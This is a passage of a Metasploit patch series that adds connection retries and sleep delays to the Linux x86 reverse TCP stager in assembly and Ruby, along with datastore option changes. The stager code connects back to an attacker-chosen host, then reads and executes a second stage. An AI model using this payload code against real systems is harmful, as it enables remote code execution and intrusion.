From 62533509c6d967c7581fa8117b431ebd1d990f81 Mon Sep 17 00:00:00 2001 From: tkmru Date: Wed, 12 Jul 2017 16:26:00 +0900 Subject: [PATCH 01/13] fit source to shellcode prev change --- .../shellcode/linux/ia32/stager_sock_reverse.asm | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm index e14a06a1d8..6a5863f622 100644 --- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm +++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm @@ -1,9 +1,9 @@ ;; -; +; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ -; License: +; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as @@ -62,6 +62,8 @@ connect: mov ecx, esp ; socketcall args inc ebx ; 3 = SYS_CONNECT int 0x80 + test eax, eax + js failed %ifndef USE_SINGLE_STAGE @@ -85,4 +87,9 @@ recv: int 0x80 jmp ecx +failed: + mov eax, 0x1 + mov ebx, 0x1 ; set exit status to 1 + int 0x80 ; sys_exit + %endif From 4e046db9b3158c0fbe8237a7d1f08bdb8dddeb30 Mon Sep 17 00:00:00 2001 From: tkmru Date: Fri, 14 Jul 2017 12:30:36 +0900 Subject: [PATCH 02/13] add retry to linux reverse tcp x86 --- .../linux/ia32/stager_sock_reverse.asm | 27 ++++++++++++++----- lib/msf/core/payload/linux/reverse_tcp.rb | 20 +++++++++++--- 2 files changed, 36 insertions(+), 11 deletions(-) diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm index 6a5863f622..dbff23af40 100644 --- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm +++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm @@ -33,11 +33,13 @@ BITS 32 GLOBAL _start _start: + push 0x5 ; retry counter + pop esi + +create_socket: xor ebx, ebx mul ebx - -; int socket(int domain, int type, int protocol); -socket: + ; int socket(int domain, int type, int protocol); push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM @@ -47,13 +49,15 @@ socket: int 0x80 xchg eax, edi -; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); -connect: - pop ebx +set_address: + pop ebx ; set ebx back to zero push dword 0x0100007f ; addr->sin_addr = 127.0.0.1 push 0xbfbf0002 ; addr->sin_port = 49087 ; addr->sin_family = 2 = AF_INET mov ecx, esp ; ecx = addr + +; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +try_connect: push byte 0x66 ; __NR_socketcall pop eax push eax ; addrlen @@ -63,7 +67,12 @@ connect: inc ebx ; 3 = SYS_CONNECT int 0x80 test eax, eax - js failed + jns mprotect + +handle_failure: + dec esi + jnz create_socket + jmp failed %ifndef USE_SINGLE_STAGE @@ -76,6 +85,8 @@ mprotect: shl ebx, 12 mov al, 0x7d ; __NR_mprotect int 0x80 + test eax, eax + js failed ; ssize_t read(int fd, void *buf, size_t count); recv: @@ -85,6 +96,8 @@ recv: mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 + test eax, eax + js failed jmp ecx failed: diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 07e8b9354c..b142b7a469 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -91,6 +91,9 @@ module Payload::Linux::ReverseTcp encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first asm = %Q^ + push #{retry_count} ; retry counter + pop esi + create_socket: xor ebx, ebx mul ebx push ebx @@ -100,14 +103,15 @@ module Payload::Linux::ReverseTcp mov al, 0x66 mov ecx, esp int 0x80 ; sys_socketcall (socket()) - test eax, eax - js failed - xchg eax, edi ; store the socket in edi + + set_address: pop ebx ; set ebx back to zero push #{encoded_host} push #{encoded_port} mov ecx, esp + + try_connect: push 0x66 pop eax push eax @@ -117,12 +121,18 @@ module Payload::Linux::ReverseTcp inc ebx int 0x80 ; sys_socketcall (connect()) test eax, eax - js failed + jns mprotect + + handle_failure: + dec esi + jnz create_socket + jmp failed ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ + mprotect: mov dl, 0x7 mov ecx, 0x1000 mov ebx, esp @@ -133,6 +143,7 @@ module Payload::Linux::ReverseTcp test eax, eax js failed + recv: pop ebx mov ecx, esp cdq @@ -142,6 +153,7 @@ module Payload::Linux::ReverseTcp test eax, eax js failed jmp ecx + failed: mov eax, 0x1 mov ebx, 0x1 ; set exit status to 1 From f66021c8a2f50416850a313106b85b607ea93e90 Mon Sep 17 00:00:00 2001 From: tkmru Date: Fri, 14 Jul 2017 13:53:43 +0900 Subject: [PATCH 03/13] update CachedSize --- modules/payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 89fbded574..f083841a8b 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 99 + CachedSize = 103 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 65fe538a80..5f354f3478 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 142 + CachedSize = 146 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp From bc6f19a91993ff595903fda496e21c2066f81f35 Mon Sep 17 00:00:00 2001 From: tkmru Date: Sat, 29 Jul 2017 20:55:53 +0900 Subject: [PATCH 04/13] add sleepSeconds, sleepNanoseconds option --- lib/msf/core/payload/linux/reverse_tcp.rb | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index b142b7a469..ac19000a89 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -29,6 +29,8 @@ module Payload::Linux::ReverseTcp port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], + sleep_seconds: datastore['SleepSeconds'], + sleep_nanoseconds: datastore['SleepNanoseconds'], reliable: false } @@ -85,10 +87,12 @@ module Payload::Linux::ReverseTcp # def asm_reverse_tcp(opts={}) # TODO: reliability is coming - retry_count = [opts[:retry_count].to_i, 1].max + retry_count = opts[:retry_count] reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + sleep_seconds = (opts[:sleep_seconds] || 5).to_i + sleep_nanoseconds = (opts[:sleep_nanoseconds] || 0).to_i asm = %Q^ push #{retry_count} ; retry counter @@ -124,6 +128,13 @@ module Payload::Linux::ReverseTcp jns mprotect handle_failure: + push 0xa2 + pop eax + push #{sleep_nanoseconds} + push #{sleep_seconds} + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep dec esi jnz create_socket jmp failed From f961d7da1344958cec8e9c4e9e0f567dd1c48977 Mon Sep 17 00:00:00 2001 From: tkmru Date: Sat, 29 Jul 2017 21:01:04 +0900 Subject: [PATCH 05/13] update src --- .../source/shellcode/linux/ia32/stager_sock_reverse.asm | 9 +++++++++ lib/msf/core/payload/linux/reverse_tcp.rb | 2 ++ 2 files changed, 11 insertions(+) diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm index dbff23af40..19d3aab641 100644 --- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm +++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm @@ -70,6 +70,15 @@ try_connect: jns mprotect handle_failure: + push 0xa2 + pop eax + push 0x0 ; sleep_nanoseconds + push 0x5 ; sleep_seconds + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep + test eax, eax + js failed dec esi jnz create_socket jmp failed diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index ac19000a89..ebb2fdddab 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -135,6 +135,8 @@ module Payload::Linux::ReverseTcp mov ebx, esp xor ecx, ecx int 0x80 ; sys_nanosleep + test eax, eax + js failed dec esi jnz create_socket jmp failed From 14507747d0deb5999bad1a8ce36031ae1d94501f Mon Sep 17 00:00:00 2001 From: tkmru Date: Sat, 29 Jul 2017 23:42:43 +0900 Subject: [PATCH 06/13] update CachedSize --- modules/payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 04f3cca1fe..12035abbc0 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 103 + CachedSize = 123 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 8b76f5303c..48140788d9 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 146 + CachedSize = 166 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp From a396d860e7498210561792cc15dcff1171fe7c81 Mon Sep 17 00:00:00 2001 From: tkmru Date: Tue, 8 Aug 2017 19:26:24 +0900 Subject: [PATCH 07/13] change SleepSeconds to StagerRetryWait --- lib/msf/core/payload/linux/reverse_tcp.rb | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index ebb2fdddab..fd65a8e716 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -26,11 +26,11 @@ module Payload::Linux::ReverseTcp # def generate conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - sleep_seconds: datastore['SleepSeconds'], - sleep_nanoseconds: datastore['SleepNanoseconds'], + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + stager_retry_wait: datastore['StagerRetryWait'], + sleep_nanoseconds: datastore['SleepNanoseconds'], reliable: false } @@ -91,8 +91,7 @@ module Payload::Linux::ReverseTcp reliable = opts[:reliable] encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first - sleep_seconds = (opts[:sleep_seconds] || 5).to_i - sleep_nanoseconds = (opts[:sleep_nanoseconds] || 0).to_i + stager_retry_wait = (opts[:stager_retry_wait] || 5).to_i asm = %Q^ push #{retry_count} ; retry counter @@ -130,8 +129,8 @@ module Payload::Linux::ReverseTcp handle_failure: push 0xa2 pop eax - push #{sleep_nanoseconds} - push #{sleep_seconds} + push 0 ; nanoseconds + push #{stager_retry_wait} ; seconds mov ebx, esp xor ecx, ecx int 0x80 ; sys_nanosleep From 331279d891c01aa672be99f056d2500c0df2acdc Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 4 Aug 2017 12:06:00 -0500 Subject: [PATCH 08/13] handle fractional seconds --- lib/msf/core/payload/linux/reverse_tcp.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index fd65a8e716..78e531c95a 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -29,8 +29,7 @@ module Payload::Linux::ReverseTcp port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['ReverseConnectRetries'], - stager_retry_wait: datastore['StagerRetryWait'], - sleep_nanoseconds: datastore['SleepNanoseconds'], + sleep_seconds: datastore['StagerRetryWait'], reliable: false } @@ -91,7 +90,9 @@ module Payload::Linux::ReverseTcp reliable = opts[:reliable] encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first - stager_retry_wait = (opts[:stager_retry_wait] || 5).to_i + seconds = (opts[:sleep_seconds] || 5.0) + sleep_seconds = seconds.to_i + sleep_nanoseconds = seconds % 1 * 1000000000 asm = %Q^ push #{retry_count} ; retry counter @@ -129,8 +130,8 @@ module Payload::Linux::ReverseTcp handle_failure: push 0xa2 pop eax - push 0 ; nanoseconds - push #{stager_retry_wait} ; seconds + push #{sleep_nanoseconds} ; nanoseconds + push #{sleep_seconds} ; seconds mov ebx, esp xor ecx, ecx int 0x80 ; sys_nanosleep From 47dc3772a7d5ca116dd2952b6fea651ccca38033 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 5 Aug 2017 02:21:31 -0500 Subject: [PATCH 09/13] add OptFloat datastore option --- lib/msf/core/opt_float.rb | 24 ++++++++++++++++++++++++ lib/msf/core/option_container.rb | 2 ++ spec/lib/msf/core/opt_float_spec.rb | 25 +++++++++++++++++++++++++ 3 files changed, 51 insertions(+) create mode 100644 lib/msf/core/opt_float.rb create mode 100644 spec/lib/msf/core/opt_float_spec.rb diff --git a/lib/msf/core/opt_float.rb b/lib/msf/core/opt_float.rb new file mode 100644 index 0000000000..80f0935c7e --- /dev/null +++ b/lib/msf/core/opt_float.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # Float option. + # + ### + class OptFloat < OptBase + def type + 'float' + end + + def normalize(value) + Float(value) if value.present? && valid?(value) + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + Float(value) rescue return false if value.present? + super + end + end +end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 1c6e26a42b..da679724a4 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -12,6 +12,7 @@ module Msf autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' autoload :OptInt, 'msf/core/opt_int' + autoload :OptFloat, 'msf/core/opt_float' autoload :OptPath, 'msf/core/opt_path' autoload :OptPort, 'msf/core/opt_port' autoload :OptRaw, 'msf/core/opt_raw' @@ -35,6 +36,7 @@ module Msf # * {OptAddress} - IP address or hostname # * {OptPath} - Path name on disk or an Object ID # * {OptInt} - An integer value + # * {OptFloat} - A float value # * {OptEnum} - Select from a set of valid values # * {OptAddressRange} - A subnet or range of addresses # * {OptRegexp} - Valid Ruby regular expression diff --git a/spec/lib/msf/core/opt_float_spec.rb b/spec/lib/msf/core/opt_float_spec.rb new file mode 100644 index 0000000000..76d323614a --- /dev/null +++ b/spec/lib/msf/core/opt_float_spec.rb @@ -0,0 +1,25 @@ +# -*- coding:binary -*- + +require 'spec_helper' +require 'msf/core/option_container' + +RSpec.describe Msf::OptFloat do + valid_values = [ + { :value => "1", :normalized => 1.0 }, + { :value => "1.1", :normalized => 1.1 }, + { :value => "0", :normalized => 0.0 }, + { :value => "-1", :normalized => -1.0 }, + { :value => "01", :normalized => 1.0 }, + { :value => "0xff", :normalized => 255.0 }, + ] + invalid_values = [ + { :value => "0xblah", }, + { :value => "-12cat", }, + { :value => "covfefe", }, + { :value => "NaN", }, + ] + + it_behaves_like "an option", valid_values, invalid_values, 'float' +end + + From b35d53bd02723068dc04563a6a4561d1cbdb959e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 5 Aug 2017 02:22:04 -0500 Subject: [PATCH 10/13] code cleanup in opt_int while we're here --- lib/msf/core/opt_int.rb | 50 +++++++++++++++++------------------------ 1 file changed, 21 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb index 047c9ab05f..0c5191d04b 100644 --- a/lib/msf/core/opt_int.rb +++ b/lib/msf/core/opt_int.rb @@ -1,36 +1,28 @@ # -*- coding: binary -*- module Msf - -### -# -# Integer option. -# -### -class OptInt < OptBase - def type - return 'integer' - end - - def normalize(value) - if value.to_s.match(/^0x[a-fA-F\d]+$/) - value.to_i(16) - elsif value.present? - value.to_i - else - nil - end - end - - def valid?(value, check_empty: true) - return false if check_empty && empty_required_value?(value) - - if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) - return false + ### + # + # Integer option. + # + ### + class OptInt < OptBase + def type + 'integer' end - return super + def normalize(value) + if value.to_s.match?(/^0x[a-fA-F\d]+$/) + value.to_i(16) + elsif value.present? + value.to_i + end + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + return false if value.present? && !value.to_s.match?(/^0x[0-9a-fA-F]+$|^-?\d+$/) + super + end end end - -end From bca8e771634e77d81dce9f46fa7a42a94231a7b5 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 5 Aug 2017 02:22:55 -0500 Subject: [PATCH 11/13] add alias support for datastore options --- lib/msf/core/data_store.rb | 21 ++++++++++++++++++--- lib/msf/core/opt_base.rb | 7 ++++++- 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 0b7f5f54cc..ef36413434 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -14,10 +14,13 @@ class DataStore < Hash # def initialize() @options = Hash.new + @aliases = Hash.new @imported = Hash.new @imported_by = Hash.new end + attr_accessor :aliases + # # Clears the imported flag for the supplied key since it's being set # directly. @@ -133,11 +136,16 @@ class DataStore < Hash } end - def import_option(key, val, imported=true, imported_by=nil, option=nil) + def import_option(key, val, imported = true, imported_by = nil, option = nil) self.store(key, val) + if option + option.aliases.each do |a| + @aliases[a.downcase] = key.downcase + end + end @options[key] = option - @imported[key] = imported + @imported[key] = imported @imported_by[key] = imported_by end @@ -245,9 +253,15 @@ protected # def find_key_case(k) + # Scan each alias looking for a key + search_k = k.downcase + if @aliases.has_key?(search_k) + search_k = @aliases[search_k] + end + # Scan each key looking for a match self.each_key do |rk| - if (rk.downcase == k.downcase) + if rk.downcase == search_k return rk end end @@ -317,6 +331,7 @@ class ModuleDataStore < DataStore self.keys.each do |k| clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) end + clone.aliases = self.aliases clone end end diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 0f48002aea..348a0eca33 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -22,7 +22,7 @@ module Msf # attrs[3] = possible enum values # attrs[4] = Regex to validate the option # - def initialize(in_name, attrs = []) + def initialize(in_name, attrs = [], aliases: []) self.name = in_name self.advanced = false self.evasion = false @@ -45,6 +45,7 @@ module Msf raise("Invalid Regex #{regex_temp}: #{e}") end end + self.aliases = aliases end # @@ -159,6 +160,10 @@ module Msf # A optional regex to validate the option value # attr_accessor :regex + # + # Aliases for this option for backward compatibility + # + attr_accessor :aliases protected From 83212b8b6b71edb3ef957dc1453ce1c6e50b3e8c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 5 Aug 2017 02:24:32 -0500 Subject: [PATCH 12/13] minor code cleanup --- lib/msf/core/handler/reverse_tcp.rb | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index cffc92b7b3..f7feceb0c3 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -88,13 +88,12 @@ module ReverseTcp # # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ - def listener_uri(addr=datastore['ReverseListenerBindAddress']) + def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end - # # Starts monitoring for an inbound connection. # @@ -118,8 +117,8 @@ module ReverseTcp rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", - "#{$ERROR_INFO}", - "#{$ERROR_POSITION.join("\n")}" + $ERROR_INFO.to_s, + $ERROR_POSITION.join("\n") ].join("\n") end end @@ -216,13 +215,11 @@ module ReverseTcp # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true - if listener_sock - begin - listener_sock.close - rescue IOError - # Ignore if it's listening on a dead session - dlog("IOError closing listener sock; listening on dead session?", LEV_1) - end + begin + listener_sock.close if listener_sock + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end From 4ca68a178bfe52d0d7c9a8d7cacf7f4c3d5ffbd4 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 7 Aug 2017 10:01:19 -0500 Subject: [PATCH 13/13] switch reverse_tcp stagers to all prefer StagerRetryCount This leaves ReverseConnectRetries as an alternate spelling. --- lib/msf/core/handler/reverse_tcp.rb | 24 +++++++++++++++---- lib/msf/core/payload/linux/reverse_tcp.rb | 19 ++++++--------- lib/msf/core/payload/multi/reverse_http.rb | 3 ++- lib/msf/core/payload/python/reverse_tcp.rb | 3 ++- .../core/payload/python/reverse_tcp_ssl.rb | 3 ++- lib/msf/core/payload/windows/reverse_http.rb | 9 +++---- .../core/payload/windows/x64/reverse_http.rb | 7 +++--- 7 files changed, 42 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f7feceb0c3..d938d46934 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -45,10 +45,26 @@ module ReverseTcp # XXX: Not supported by all modules register_advanced_options( [ - OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) - ], Msf::Handler::ReverseTcp) + OptInt.new( + 'StagerRetryCount', + [ true, 'The number of connection attempts to try before exiting the process', 10 ], + aliases: ['ReverseConnectRetries'] + ), + OptFloat.new( + 'StagerRetryWait', + [ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ] + ), + OptAddress.new( + 'ReverseListenerBindAddress', + [ false, 'The specific IP address to bind to on the local system' ] + ), + OptBool.new( + 'ReverseListenerThreaded', + [ true, 'Handle every connection in a new thread (experimental)', false ] + ) + ], + Msf::Handler::ReverseTcp + ) self.conn_threads = [] end diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 78e531c95a..768b830729 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid' module Msf - ### # # Complex reverse TCP payload generation for Linux ARCH_X86 @@ -26,17 +25,15 @@ module Payload::Linux::ReverseTcp # def generate conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - sleep_seconds: datastore['StagerRetryWait'], - reliable: false + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['StagerRetryCount'], + sleep_seconds: datastore['StagerRetryWait'], } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] - conf[:reliable] = true end generate_reverse_tcp(conf) @@ -82,17 +79,15 @@ module Payload::Linux::ReverseTcp # # @option opts [Integer] :port The port to connect to # @option opts [String] :host The host IP to connect to - # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_reverse_tcp(opts={}) # TODO: reliability is coming retry_count = opts[:retry_count] - reliable = opts[:reliable] encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first seconds = (opts[:sleep_seconds] || 5.0) sleep_seconds = seconds.to_i - sleep_nanoseconds = seconds % 1 * 1000000000 + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i asm = %Q^ push #{retry_count} ; retry counter @@ -130,8 +125,8 @@ module Payload::Linux::ReverseTcp handle_failure: push 0xa2 pop eax - push #{sleep_nanoseconds} ; nanoseconds - push #{sleep_seconds} ; seconds + push 0x#{sleep_nanoseconds.to_s(16)} + push 0x#{sleep_seconds.to_s(16)} mov ebx, esp xor ecx, ecx int 0x80 ; sys_nanosleep diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb index 9c5af06037..008f99f5a0 100644 --- a/lib/msf/core/payload/multi/reverse_http.rb +++ b/lib/msf/core/payload/multi/reverse_http.rb @@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index c40f46ad28..8369602654 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) ], self.class) end diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb index fa557b420f..ee65afe0ab 100644 --- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb +++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb @@ -18,7 +18,8 @@ module Payload::Python::ReverseTcpSsl def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) ], self.class) end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index b4c6a62b91..1c9b79b562 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -359,14 +360,14 @@ module Payload::Windows::ReverseHttp push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax - jnz allocate_memory - + jnz allocate_memory + set_wait: push #{retry_wait} ; dwMilliseconds push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^ 